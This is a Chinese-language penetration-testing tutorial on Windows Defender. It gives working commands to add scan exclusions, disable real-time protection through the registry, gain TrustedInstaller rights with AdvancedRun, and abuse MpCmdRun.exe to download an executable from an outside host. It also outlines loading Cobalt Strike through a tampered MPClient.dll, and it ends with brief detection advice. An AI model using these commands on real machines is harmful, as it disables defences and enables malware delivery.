Windows Defender渗透测试技术详解
1. Windows Defender概述
Microsoft Defender(原Microsoft AntiSpyware)是微软推出的杀毒软件,作为Windows系统内置的安全解决方案,具有以下特点:
- 深度集成于Windows系统,防御性能强大
- 检测到威胁会直接拦截并删除,采取"先斩后奏"策略
- 最新版本已更名为Microsoft Defender Antivirus
2. 环境信息
测试环境配置:
- 系统:Windows Server 2016
- Windows Defender版本:
- 反恶意软件客户端版本:4.10.14393.1794
- 引擎版本:1.1.19500.2
- 防病毒定义:1.373.1325.0
- 反间谍软件定义:1.373.1325.0
- 网络检查系统引擎版本:2.1.14600.4
- 网络检查系统定义版本:119.0.0.0
- 测试权限:administrator
3. Windows Defender版本查看方法
3.1 图形界面查看
路径:设置 → 更新和安全 → Windows Defender
3.2 命令行查看
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
注:新版本Windows Defender已不适用此方法
4. 查杀排除列表操作
4.1 查看排除列表
图形界面查看
路径:设置 → 更新和安全 → Windows Defender → 添加排除项
命令行查看
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
PowerShell查看
Get-MpPreference | select ExclusionPath
4.2 添加排除项
图形界面添加
路径:设置 → 更新和安全 → Windows Defender → 排除 → 添加排除项
排除类型与注册表对应关系:
- 文件 → TemporaryPaths
- 文件夹 → Paths
- 文件类型 → Extensions
- 进程 → Processes
命令行添加(需TrustedInstaller权限)
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\tide" /d 0 /t REG_DWORD /f
5. 关闭实时保护
5.1 图形界面关闭
路径:设置 → 更新和安全 → Windows Defender → 实时保护
5.2 命令行关闭
前提条件:
- 需要TrustedInstaller权限
- 需要关闭Tamper Protection
关闭命令:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
开启命令(旧版本适用):
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /f
6. MpCmdRun.exe工具使用
6.1 文件位置
- 新版本:
C:\Program Files\Windows Defender\MpCmdRun.exe - 旧版本:
路径格式:dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
C:\ProgramData\Microsoft\Windows Defender\Platform\<版本号>\X86
6.2 常用命令
查看被隔离文件列表
MpCmdRun -Restore -ListAll
恢复指定文件至原目录
MpCmdRun -Restore -FilePath C:\tide\7.exe
恢复所有文件至原目录
MpCmdRun -Restore -All
检查路径是否在排除列表中
MpCmdRun -CheckExclusion -path C:\test
7. 高级技巧
7.1 获取TrustedInstaller权限
使用AdvancedRun工具:
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run
7.2 MpCmdRun.exe恶意利用
文件下载(旧版本有效)
MpCmdRun.exe -DownloadFile -url http://81/co.exe -path c:\co.exe
注:新版本下载任何文件都会被Windows Defender拦截
Cobalt Strike攻击载荷加载
攻击方法:
- 修改MPClient.dll文件包含恶意载荷
- 通过MpCmdRun.exe加载修改后的MPClient.dll
- 执行c0000015.log实现Cobalt Strike上线
8. 防御与检测建议
-
监控注册表关键路径的修改:
HKLM\SOFTWARE\Microsoft\Windows Defender\ExclusionsHKLM\SOFTWARE\Policies\Microsoft\Windows Defender
-
审计MpCmdRun.exe的使用情况,特别是下载和恢复操作
-
保持Windows Defender更新至最新版本
-
启用Tamper Protection防止配置被篡改
-
定期检查排除列表中的异常项
9. 参考资源
-
Microsoft官方文档:
https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus -
Lockbit勒索软件滥用Windows Defender加载Cobalt Strike:
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/ -
渗透基础-Windows Defender:
https://3gstudent.github.io/渗透基础-Windows-Defender